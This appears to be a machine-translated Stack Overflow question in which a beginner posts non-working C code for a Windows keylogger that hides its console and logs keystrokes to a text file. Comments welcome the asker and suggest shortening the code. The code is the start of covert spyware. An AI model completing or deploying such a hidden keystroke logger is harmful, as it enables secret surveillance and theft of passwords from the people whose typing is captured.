在學習了C語言的基礎知識後,我開始研究一些Win API函數。爲了教育目的,我決定嘗試製作一個簡單的鍵盤記錄器。它所做的只是記錄擊鍵並將它們保存到.txt文件中。我在互聯網上看到了一些例子,但我想讓它成爲我的方式(這更簡單)。這裏是我的代碼(我不知道爲什麼它不工作)(我還沒有完成它尚未):爲什麼我的鍵盤記錄器不能工作?
#include <stdio.h>
#include <windows.h>
int main(void)
{
short UserInputtedCharacter;
FILE *LogFile = fopen("log.txt", "a");
//Hide console window
HWND HideWindow;
AllocConsole();
HideWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HideWindow, 0);
while(1)
{
GetAsyncKeyState(UserInputtedCharacter);
switch(UserInputtedCharacter)
{
case VK_SPACE:
fputc(' ', LogFile);
break;
case VK_RETURN:
fputc('\n', LogFile);
break;
case VK_BACK:
fputs("[BACKSPACE]", LogFile);
break;
case VK_DELETE:
fputs("[DEL]", LogFile);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]", LogFile);
break;
case 0x30:
fputc('0', LogFile);
break;
case 0x31:
fputc('1', LogFile);
break;
case 0x32:
fputc('2', LogFile);
break;
case 0x33:
fputc('3', LogFile);
break;
case 0x34:
fputc('4', LogFile);
break;
case 0x35:
fputc('5', LogFile);
break;
case 0x36:
fputc('6', LogFile);
break;
case 0x37:
fputc('7', LogFile);
break;
case 0x38:
fputc('8', LogFile);
break;
case 0x39:
fputc('9', LogFile);
break;
case 0x61:
fputc('a', LogFile);
break;
case 0x62:
fputc('b', LogFile);
break;
case 0x63:
fputc('c', LogFile);
break;
case 0x64:
fputc('d', LogFile);
break;
}
}
fclose(LogFile);
return 0;
}
程序未保存擊鍵.txt文件。
順便說一句,該程序遠沒有完成,我只是想知道爲什麼它不工作。
歡迎來到[so],很高興看到另一位年輕的程序員在這裏。你能描述一下你的意思嗎?「不工作」?當你有時間時,請看看[幫助],看看我們的工作方式以及我們在這裏做事情的一些方式。謝謝! –
一個非常不錯的歡迎@ Qantas94Heavy,非常溫暖 –
逐個寫出整套字符是痛苦的重複(並容易出錯)。您應該從'#include'中查看宏,例如'isascii()'和'isprint()'或'isalnum()',這可以讓您大大壓縮代碼。 –